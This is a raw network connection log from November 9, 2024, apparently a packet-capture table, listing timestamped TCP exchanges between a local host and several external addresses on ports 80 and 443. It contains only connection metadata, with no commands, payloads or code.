Nov 9, 2024 22:09:44.137622118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.137996912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138010025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138042927 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.138118029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138158083 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.138195992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138207912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138232946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.138250113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.138732910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138816118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138828039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138839960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138854027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138858080 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.138865948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.138891935 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.138906956 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.139245987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.139256954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.139266968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.139292002 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.139321089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.177813053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.177949905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.177963018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.178014040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.178070068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.178108931 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254105091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254136086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254153013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254224062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254229069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254268885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254281044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254292965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254451990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254498959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254525900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254537106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254575014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254679918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254692078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254741907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254806995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254914045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254925013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.254955053 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.254976034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.255108118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255120039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255150080 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.255167007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.255244970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255255938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255265951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255279064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255287886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.255290985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255326986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.255346060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.255557060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.255876064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.294800043 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.294831991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.294846058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.294887066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.294926882 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.294929981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.294943094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.294972897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.295001984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.295084953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.295842886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.313976049 CET	443	49858	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.314383984 CET	49858	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:44.314402103 CET	443	49858	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.314785004 CET	443	49858	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.315459967 CET	49858	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:44.315534115 CET	443	49858	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.315783978 CET	443	49857	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.316445112 CET	49857	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:44.316472054 CET	443	49857	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.316833973 CET	443	49857	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.317187071 CET	49857	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:44.317259073 CET	443	49857	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:44.364208937 CET	49857	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:44.370930910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.370990992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371002913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371054888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371093035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371131897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371222973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371233940 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371244907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371279955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371309996 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371382952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371419907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371499062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371510029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371586084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371623993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371666908 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371669054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371680975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371690035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.371716022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371741056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.371980906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372056961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.372103930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372116089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372154951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.372289896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372301102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372354984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.372474909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372487068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372524977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.372665882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372677088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.372721910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.411566973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411627054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.411645889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411657095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411700964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.411813974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411883116 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.411892891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411905050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411916018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.411941051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.411976099 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.427120924 CET	49858	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:44.450587034 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.451246977 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.451270103 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.451962948 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.451967955 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.452991962 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.454011917 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.454037905 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.454435110 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.454440117 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.488127947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488197088 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.488209009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488220930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488260984 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.488431931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488444090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488456011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488467932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488480091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488514900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.488550901 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.488925934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488938093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488950014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488960981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488970995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.488977909 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.488997936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.489022970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.489324093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489335060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489346027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489356995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489388943 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.489414930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.489546061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489586115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489597082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489608049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.489612103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.489654064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.489886045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.528594971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.528678894 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.528712988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.528727055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.528775930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.528798103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.528836966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.528965950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.528995991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.529007912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.529019117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.529028893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.529047012 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.529058933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.545898914 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.546173096 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.546183109 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.546530962 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.546870947 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.546938896 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.547048092 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.547061920 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.547075033 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.582477093 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.582607985 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.583273888 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.584522963 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.584538937 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.584573030 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.584578991 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.586581945 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.586649895 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.586920977 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.587517023 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.587778091 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.587809086 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.587868929 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.587902069 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.588047981 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.588047981 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.588066101 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.588076115 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.588479042 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.588495016 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.589102983 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.589108944 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.589653015 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.589668989 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.590044022 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.590049028 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.590286016 CET	49872	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.590298891 CET	443	49872	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.591427088 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.591464996 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.591548920 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.591713905 CET	49873	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.591728926 CET	443	49873	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.597980976 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.603034019 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.603431940 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.603466988 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.603864908 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.603872061 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.604949951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605012894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605012894 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605025053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605058908 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605154991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605165958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605201006 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605230093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605341911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605354071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605422020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605544090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605556965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605590105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605674982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605685949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605722904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605775118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605787039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605819941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.605886936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605899096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.605932951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.606014967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.606053114 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.606059074 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.606070042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.606122017 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.606311083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.606362104 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.606375933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.606385946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.606430054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.645210028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645250082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645262003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645349026 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.645370960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645385981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645396948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645421028 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.645471096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.645540953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645631075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645648003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645683050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.645694017 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.645785093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.645901918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.646090031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.646359921 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.658132076 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.658420086 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.658437014 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.658782005 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.659151077 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.659212112 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.659413099 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.663831949 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.664390087 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.664402008 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.664876938 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.665453911 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.665544987 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.665812969 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.665837049 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.665852070 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.666699886 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.666764021 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.666915894 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.666975021 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.667613983 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.667639017 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.668109894 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.668185949 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.668617964 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.668627977 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.668667078 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.668673992 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.669024944 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.669128895 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.669605017 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.669686079 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.669728994 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.670111895 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.670128107 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.670228004 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.670236111 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.670953035 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.671231985 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.671282053 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.671289921 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.671334982 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.671567917 CET	49871	443	192.168.2.5	13.107.246.57
